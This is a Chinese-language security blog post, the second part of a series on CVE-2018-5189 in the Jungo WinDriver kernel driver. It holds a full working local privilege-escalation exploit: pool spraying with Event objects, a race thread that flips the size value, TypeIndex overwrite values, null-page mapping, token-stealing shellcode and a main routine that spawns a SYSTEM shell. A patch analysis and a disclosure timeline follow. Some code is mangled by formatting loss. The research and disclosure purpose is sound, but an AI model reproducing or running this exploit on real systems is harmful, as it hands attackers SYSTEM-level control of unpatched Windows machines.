Jungo Windriver中的代码执行漏洞(CVE-2018-5189)分析(下)

传送门

Jungo Windriver中的代码执行漏洞(CVE-2018-5189)分析(上)

写在前面的话

本系列文章的上集里,我们给大家介绍了有关漏洞CVE-2018-5189利用代码开发过程的前期准备工作以及进行方式,接下来在这篇文章中,我们将解决之前所遇到的一些问题,并给大家提供PoC的完善思路,然后给大家提供最后完整的漏洞利用代码。除此之外,我们还会给大家介绍针对该漏洞的漏洞修复方案。

 

漏洞研究

在开发针对漏洞CVE-2018-5189的利用代码时,有几点非常重要的东西需要关注。首先最重要的就是要记住,我们能够控制内核池的分配空间大小(我们传递过去的大小为(size – 1) * 0xa + 0x48)。而池喷射的基本模式如下:

  1. 一直不断地重复创建相同大小的对象;
  2. 释放随机位置的特定大小对象,并创建空白区域;

触发调用包含漏洞的驱动程序,并填充分配给内核池的空白区域;
在进行了多次尝试之后,我们决定使用Event对象来实现我们的目标。下面给出的函数可以完成内核池喷射,然后填充大量的Event对象,并在随机位置创建空白区域(大小为0x380字节)。

void spray_pool(HANDLE handle_arr[])
{
//create SPRAY_SIZE event objects filling up the pool
for (int i = 0; i < SPRAY_SIZE; i++)
{
handle_arr[i] = CreateEvent(NULL, 0, NULL, L””);
}

//create holes in the pool of size 0x380
for (int i = 0; i < SPRAY_SIZE; i+=50)
{
for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
{

  CloseHandle(handle_arr[j + i]);
}
}
}

接下来,我们在进入main函数的while循环之前来调用这个函数,并且得到了程序的崩溃信息。我们对内核池页面进行了检查并再次触发了崩溃,最终我们成功地按照之前所设定的大小完成了缓冲区的内存分配任务

* Fatal System Error: 0x00000019
(0x00000020,0x861306C0,0x86130A40,0x08700008)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!RtlpBreakWithStatusInstruction:
82ab5a38 cc int 3
0: kd> !poolpage 0x861306C0
walking pool page @ 86130000
Addr A/F BlockSize PreviousSize PoolIndex PoolType Tag

86130000: InUse 0040 (008) 0000 (000) 00 02 Eve.
86130040: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130080: InUse 0040 (008) 0040 (008) 00 02 Eve.
861300c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130100: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130140: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130180: InUse 0040 (008) 0040 (008) 00 02 Eve.
861301c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130200: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130240: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130280: InUse 0040 (008) 0040 (008) 00 02 Eve.
861302c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130300: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130340: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130380: InUse 0040 (008) 0040 (008) 00 02 Eve.
861303c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130400: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130440: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130480: InUse 0040 (008) 0040 (008) 00 02 Eve.
861304c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130500: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130540: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130580: InUse 0040 (008) 0040 (008) 00 02 Eve.
861305c0: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130600: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130640: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130680: InUse 0040 (008) 0040 (008) 00 02 Eve.
*861306c0: Free 0380 (070) 0040 (008) 00 04 RDW. —- here
86130a40: InUse 0040 (008) 0000 (000) 00 02 Eve.
86130a80: InUse 0040 (008) 0040 (008) 00 02 Eve.
86130ac0: InUse 0040 (008) 0040 (008) 00 02 Eve.

这也就意味着,我们可以完全控制想要中断的下一个对象。这样一来,我们也就解决了之前所遇到的前两个问题了。那么接下来,我们就要搞清楚如何利用Event对象来实现代码执行了。
正如我们之前所提到的那样,我们可以使用typeIndex重写方法。为此,我们对Event对象进行了分析,并发现了一些可能的切入点:

kd>; dt nt!_POOL_HEADER 8514fac0
+0x000 PreviousSize : 0y010001100 (0x8c)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x408008c —- here
+0x004 PoolTag : 0xee657645 — here
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65


kd>; dt nt!_OBJECT_HEADER_QUOTA_INFO 8545f8c0+8 ;+8 to skip past pool header
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)

kd> dt nt!_OBJECT_HEADER 8545f8c0+8+10 ;skip past pool header and Quota info
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ‘’
+0x00d TraceFlags : 0 ‘’
+0x00e InfoMask : 0x8 ‘’
+0x00f Flags : 0 ‘’
+0x010 ObjectCreateInfo : 0x867b3940 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x867b3940 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD

There are a few values here that we need to keep to stop us from blue-screening. We need to fix the previousSize value to 0x380 (the size of the RDW pool buffer), and then keep all of the other values except the TypeIndex. The TypeIndex is an index into an array of pointers that describes the type of the chunk [4]:

<code>1: kd> dd nt!ObTypeIndexTable
82b7dee0 00000000 bad0b0b0 84b43360 84b43298
82b7def0 84b4af78 84b4ad48 84b4ac08 84b4ab40
82b7df00 84b4aa78 84b4a9b0 84b4a8e8 84b4a7e8
82b7df10 84c131d0 84bf7900 84bf7838 84bf7770
82b7df20 84c0f9c8 84c0f900 84c0f838 84c039c8
82b7df30 84c03900 84c03838 84bef9c8 84bef900
82b7df40 84bef838 84bcb5e0 84bcb518 84bcb450
82b7df50 84bc3c90 84bc34f0 84bc3428 84c0df78如果我们将TypeIndex的值重写为0,那么对象object将会尝试在一个空页面中寻找对应的OBJECT_TYPE信息。0: kd> dt nt!_OBJECT_TYPE 86eb7000 .
+0x000 TypeList : [ 0x80000 - 0xee657645 ]
+0x000 Flink : 0x00080000 _LIST_ENTRY
+0x004 Blink : 0xee657645 _LIST_ENTRY
+0x008 Name : “瀈蛫倈蔔???”
+0x000 Length : 0x8008
+0x002 MaximumLength : 0x86ea
+0x004 ReadVirtual: 82b70938 not properly sign extended
Buffer : 0x82b70938 “瀈蛫倈蔔???”
+0x010 DefaultObject :
+0x014 Index : 0 ‘’
+0x018 TotalNumberOfObjects : 0
+0x01c TotalNumberOfHandles : 0
+0x020 HighWaterNumberOfObjects : 0
+0x024 HighWaterNumberOfHandles : 0x80001
+0x028 TypeInfo :
<…Snip…>
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0xee657645
+0x020 RetainAccess : 0
+0x024 PoolType : 0x40 (No matching name)
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0
+0x030 DumpProcedure : 0x00000001 void +1
+0x034 OpenProcedure : 0x00000001 long +1
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : 0x0008000c void +8000c
+0x040 ParseProcedure : 0x86dd0d80 long +ffffffff86dd0d80
+0x044 SecurityProcedure : (null)
+0x048 QueryNameProcedure : 0x00040001 long +40001
+0x04c OkayToCloseProcedure : (null)
<…Snip…>别忘了,我们的测试平台使用的是Windows 7,所以我们可以映射一个空白页面来创建我们自己的OkayToClose过程。接下来,我们要做的第一件事情就是修改我们的用户空间缓冲区,并让其包含正确的值://pool header block
(ULONG )(user_buff + 0x374) = 0x04080070; //ULONG1
(ULONG )(user_buff + 0x378) = 0xee657645;//PoolTag

//QuotaInfo block
(ULONG )(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
(ULONG )(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
(ULONG )(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
(ULONG )(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock

//Event header block
(ULONG )(user_buff + 0x38c) = 0x00000001; //PointerCount
(ULONG )(user_buff + 0x390) = 0x00000001; //HandleCount
(ULONG )(user_buff + 0x394) = 0x00000000; //NextToFree
(ULONG )(user_buff + 0x398) = 0x00080000; //TypeIndex <—- NULL POINTER
(ULONG )(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
(ULONG )(user_buff + 0x400) = 0x00000000;
(ULONG )(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged为了更好地控制溢出,我们还需要弄清楚具体的大小值,我们现在拥有的缓冲区大小为0x378字节(其中有8个字节是内核池Header),而我们需要的是让下一个Event对象溢出。而这样一来,我们就需要实现0x40字节的溢出了,即0x378+0x40 = 0x3b8,别忘了在分配内核池大小的时候修改分配值,(0x3b8 – 0x48) / 0x0a = 0x58。
接下来,我们还需要释放发生崩溃的对象,这一步可以通过关闭所有的处理进程来实现。错误检测信息如下所示:Access violation - code c0000005 (!!! second chance !!!)
nt!MmInitializeProcessAddressSpace+0xc6:
82c5e520 837b7400 cmp dword ptr [ebx+74h],0
0: kd> r
eax=c6239b40 ebx=00000000 ecx=00000000 edx=872aab58 esi=872aab58 edi=84c3c498
eip=82c5e520 esp=be363ba0 ebp=be363bdc iopl=0 nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010282
nt!MmInitializeProcessAddressSpace+0xc6:
82c5e520 837b7400 cmp dword ptr [ebx+74h],0 ds:0023:00000074=????????
可能一眼看去有些难理解,因为ebx为空,而它却在寻找0x74的值。我们对edx进行分析后发现,Event对象直接出现在了溢出后的缓冲区中:
872aa7c0: Free 0380 (070) 0040 (008) 00 00 RDW.
*872aab40: InUse 0040 (008) 0380 (070) 00 02 Eve.
872aab80: Free 0040 (008) 0040 (008) 00 04 Eve.

0: kd> dd 872aab40
872aab40 04080070 ee657645 00000000 00000040
872aab50 00000000 00000000 00000001 00000001
872aab60 00000000 00080000 867b3940 00000000
872aab70 00000000 00000000 872aab78 872aab78需要注意的是,TypeIndex已经被我们成功重写了,而这将会让内核在0x74寻找okayToCloseProcedure。那么现在,我们就非常接近成功了,而接下来要做的就是映射一个空白页面,然后放置一个指向我们所需要执行的函数指针(在内核模式下)。下面给出的函数可以帮助我们实现目标:BOOL map_null_page()
{
/ Begin NULL page map /
HMODULE hmodule = LoadLibraryA(“ntdll.dll”);
if (hmodule == INVALID_HANDLE_VALUE)
{
printf(“[x] Couldn’t get handle to ntdll.dlln”);
return FALSE;
}
PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, “NtAllocateVirtualMemory”);
if (AllocateVirtualMemory == NULL)
{
printf(“[x] Couldn’t get address of NtAllocateVirtualMemoryn”);
return FALSE;
}
SIZE_T size = 0x1000;
PVOID address = (PVOID)0x1;
NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
&address,
0,
&size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (allocStatus != 0)
{
printf(“[x] Error mapping null pagen”);
return FALSE;
}
printf(“[+] Mapped null pagen”);
return TRUE;
}接下来,我们在偏移量0x74存储一个0x41414141值,而种种迹象表明,我们是可以控制eip的:* Symbol Path validation summary **
Response Time (ms) Location
Deferred SRVC:symbolshttp://msdl.microsoft.com/download/symbols
Access violation - code c0000005 (!!! second chance !!!)
41414141 ?? ???

既然现在我们已经可以控制代码执行了,那我们就需要想办法提升我们的权限,然后在不引起程序崩溃的情况下实现攻击。最标准的一种方法就是使用窃取令牌的Shellcode来窃取SYSTEM令牌。这里需要注意的一点是,我们必须考虑到入栈以及返回的参数数量。
我们可以看到,在调用我们的Shellcode(ebx+0x74)之前,ObpQueryNameString向栈中推入了16字节数据:

nt!ObpQueryNameString+0x433:
82c60555 ff7518 push dword ptr [ebp+18h]
82c60558 ff7514 push dword ptr [ebp+14h]
82c6055b ff74241c push dword ptr [esp+1Ch]
82c6055f ff7510 push dword ptr [ebp+10h]
82c60562 ff5374 call dword ptr [ebx+74h]一开始,我们在运行完Shellcode之后一直遇到蓝屏问题,我们需要使用_declspec(naked)来声明函数才可以解决。经过精简修改后的代码如下所示:// Windows 7 SP1 x86 Offsets

define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread

define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process

define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId

define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink

define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token

define SYSTEM_PID 0x004 // SYSTEM Process PID

/*

The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
declspec(naked) VOID TokenStealingShellcode() {
asm {
  ; initialize
  mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
  mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

  mov ecx, eax; Copy current _EPROCESS structure

  mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
  mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

  ; begin system token search loop
  SearchSystemPID :
      mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
      sub eax, FLINK_OFFSET
      cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
      jne SearchSystemPID

  mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
  mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process

  End :
      ret 0x10; cleanup for cdecl
}
}设置了断点之后,我们就可以了解到Shellcode在运行过程中遇到了哪些问题,我们所收集到的警告信息如下所示:Break instruction exception - code 80000003 (first chance) 00f61790 cc int 3 0: kd> kb

ChildEBP RetAddr Args to Child

WARNING: Frame IP not in any known module. Following frames may be wrong.
00 b7827b88 82c60565 85407d28 857bef30 0001c34c 0xf61790
01 b7827bdc 82c6043f bdd0fc48 c5fa0698 85407d28 nt!ObpQueryNameString+0x443
<…Snip…`

其中,0x00f61790是令牌窃取Shellcode函数的地址,所以我们现在已经可以控制eip了。
但是现在还有一个问题,即我们的程序会卡在一个无限循环之中,所以我们需要想办法升级我们的凭证,然后解决这个无限循环的问题。为此,我们可以在Shellcode中设置一些值,然后在while循环中来检测这些值(当作循环条件)。最终,我们决定使用GetTokenInformation函数。具体的处理过程如下所示:

  1. 使用OpenProcessToken来获取当前令牌处理进程的控制器;
  2. 调用GetTokenInformation函数,获取需要的大小值;
  3. 在堆内存中为结构体PTOKEN_PRIVILEGES分配空间;

读取PTOKEN_PRIVILEGES->PrivilegeCoun的值;
下面给出的代码可以阐述整个过程:这样一来,我们就可以拿到带有SYSTEM权限的Shell了:

完整的代码
完整的代码我们在下面给出了,但是这里还需要注意两个问题。首先,Shellcode中的初始命令会检测所有需要运行的函数,而这里有可能会出现意外的内核模式Bug。其次,在While循环的每一次迭代过程中,我们需要重置用户模式缓冲区。

// ConsoleApplication1.cpp : Defines the entry point for the console application.
//
include “stdafx.h”
include <Windows.h>
include <winioctl.h>
define device L”\.WINDRVR1251”
define SPRAY_SIZE 30000
typedef NTSTATUS(WINAPI PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

// Windows 7 SP1 x86 Offsets

define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
define SYSTEM_PID 0x004 // SYSTEM Process PID
/*

The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
declspec(naked) VOID TokenStealingShellcode() {
asm {
 hasRun:
       xor eax, eax; Set zero
       cmp byte ptr [eax], 1; If this is 1, we have already run this code
       jz End;
       mov byte ptr [eax], 1; Indicate that this code has been hit already

      ; initialize
      mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
      mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

      mov ecx, eax; Copy current _EPROCESS structure

      mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
      mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

      ; begin system token search loop
      SearchSystemPID :
  mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
      sub eax, FLINK_OFFSET
      cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
      jne SearchSystemPID

      mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
      mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process

      End :
  ret 0x10; cleanup for cdecl
}
}

BOOL map_null_page()
{
/ Begin NULL page map /
HMODULE hmodule = LoadLibraryA(“ntdll.dll”);
if (hmodule == INVALID_HANDLE_VALUE)
{
printf(“[x] Couldn’t get handle to ntdll.dlln”);
return FALSE;
}
PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, “NtAllocateVirtualMemory”);
if (AllocateVirtualMemory == NULL)
{
printf(“[x] Couldn’t get address of NtAllocateVirtualMemoryn”);
return FALSE;
}

SIZE_T size = 0x1000;
PVOID address = (PVOID)0x1;
NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
    &address,
    0,
    &size,
    MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
    PAGE_EXECUTE_READWRITE);

if (allocStatus != 0)
{
    printf("[x] Error mapping null pagen");
    return FALSE;
}

printf("[+] Mapped null pagen");
return TRUE;
}

/*

Continually flip the size
@Param user_size - a pointer to the user defined size
*/
DWORD WINAPI flip_thread(LPVOID user_size)
{
printf(“[+] Flipping thread startedn”);
while (TRUE)
{
  *(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
}
return 0;
}

DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
char out_buff[40];
DWORD bytes_returned;

HANDLE hdevice = CreateFile(device,
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    0
);


if (hdevice == INVALID_HANDLE_VALUE)
{
    printf("[x] Couldn't open devicen");
}

NTSTATUS ret = DeviceIoControl(hdevice,
    0x95382623,
    user_buff,
    0x1000,
    out_buff,
    40,
    &bytes_returned,
    0);

CloseHandle(hdevice);
return 0;
}

void spray_pool(HANDLE handle_arr[])
{
//create SPRAY_SIZE event objects filling up the pool
for (int i = 0; i < SPRAY_SIZE; i++)
{
handle_arr[i] = CreateEvent(NULL, 0, NULL, L””);
}

for (int i = 0; i < SPRAY_SIZE; i+=50)
{
    for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
    {
        CloseHandle(handle_arr[j + i]);
        handle_arr[j + i] = 0;
    }
}
}

void free_events(HANDLE handle_arr[])
{
for (int i = 0; i < SPRAY_SIZE; i++)
{
if (handle_arr[i] != 0)
{
CloseHandle(handle_arr[i]);
}
}
}

BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
{
HANDLE htoken;
DWORD length;
DWORD temp;
DWORD new_count;
PTOKEN_PRIVILEGES current_priv = NULL;

if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
{
    printf("[x] Couldn't get current tokenn");
    return FALSE;
}

//get the size required for the current_priv allocation
GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);

//allocate memory for the structure
current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);

//get the actual token info
GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
new_count = current_priv->PrivilegeCount;

HeapFree(GetProcessHeap(), 0, current_priv);
CloseHandle(htoken);

temp = old_count;       //store the old count
*updated_count = new_count; //update the count 
if (new_count > old_count)
{
    printf("[+] We now have %d privilegesn", new_count);
    return TRUE;
}
else
    return FALSE;
}

int main()
{
HANDLE h_flip_thread;
HANDLE h_ioctl_thread;
HANDLE handle_arr[SPRAY_SIZE] = { 0 };
DWORD mask = 0;
DWORD orig_priv_count = 0;
char *user_buff;

check_priv_count(-1, &orig_priv_count);
printf("[+] Original priv count: %dn", orig_priv_count);

if (!map_null_page())
{
    return -1;
}

*(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;

user_buff = (char *)VirtualAlloc(NULL,
    0x1000,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_NOCACHE | PAGE_READWRITE);

if (user_buff == NULL)
{
    printf("[x] Couldn't allocate memory for buffern");
    return -1;
}
memset(user_buff, 0x41, 0x1000);

*(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51

//pool header block
*(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
*(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag

//QuotaInfo block
*(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
*(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
*(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
*(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock

//Event header block
*(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
*(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
*(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
*(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
*(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
*(ULONG *)(user_buff + 0x400) = 0x00000000;
*(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged



/*
* create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34
* Set its priority to highest.
* Set its mask so that it runs on a particular core.
*/
h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0);
SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST);
SetThreadAffinityMask(h_flip_thread, 0);
ResumeThread(h_flip_thread);
printf("[+] Starting race...n");

spray_pool(handle_arr);

while (TRUE)
{
    h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0);
    SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST);
    SetThreadAffinityMask(h_ioctl_thread, 1);

    ResumeThread(h_ioctl_thread);

    WaitForSingleObject(h_ioctl_thread, INFINITE);

    free_events(handle_arr); //free the event objects 

    if (check_priv_count(orig_priv_count, &orig_priv_count))
    {
        printf("[+] Breaking out of loop, popping shell!n");
        break;
    }
    //pool header block
    *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1
    *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag

                                               //QuotaInfo block
    *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge
    *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge
    *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge
    *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock

                                                //Event header block
    *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount
    *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount
    *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree
    *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER
    *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo
    *(ULONG *)(user_buff + 0x400) = 0x00000000;
    *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged


    spray_pool(handle_arr);
}

system("cmd.exe");

return 0;
}

 

漏洞修复方案

Jungo在获取到漏洞信息之后,便立刻开发出了针对该漏洞的修复补丁。解决这个问题最简单的方法就是让程序仅从用户模式下获取一次参数值,并将获取到的值存储在本地变量(内核空间)中。
我们在对补丁进行分析之后,了解到了补丁程序具体实现的功能,从IOCTL处理器开始,我们查看到了以下内容:

跟之前存在安全漏洞的代码有很大的区别,从我们用户空间传递过去的值将存储在ecx寄存器中,然后以参数的形式传递给sub_419CA2。而在sub_419CA之中,我们可以看到用户模式缓冲区被引用了很多次,而真实的空间大小值(位于user_buff+0x34)并没有被获取过。

比如说,我们可以看看函数的起始部分,被推入栈中的参数已经被访问了,而这个参数是我们在用户模式下无法完全控制的。除此之外,空间大小值(0x800)已经被硬编码存储了,这样也修复了我们之前所提到的整形溢出问题。
最后,在存在漏洞的拷贝循环中:

arg_4是我们传递的大小值([user_buff+0x34] 0xa + 0x3A),ebx为池缓冲区(大小为[user_buff+0x34] 0xa + 0x48),而edi是用户缓冲区。我们可以看到,函数直接从栈中获取了这个值,这也成功修复了本文之前所描述的安全问题。

漏洞披露时间轴

2017年12月23日:将漏洞信息披露给厂商;
2017年12月24日:收到厂商的回复,并要求提供初始安全报告;
2017年12月29日:将初始漏洞报告发送给厂商;
2018年01月01日:厂商向我发送了漏洞补丁的测试版本,并让我进行测试;
2018年01月01日:漏洞补丁已确认有效;
2018年01月10日:漏洞补丁正式发布;

参考资料

[1] https://www.jungo.com/st/products/windriver/
[2] https://srcincite.io/pocs/src-2017-0026.py.txt
[3] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf
[4] http://www.fuzzysecurity.com/tutorials/expDev/20.html
[5] https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/
[6] https://www.whitehatters.academy/intro-to-kernel-exploitation-part-1/

(完)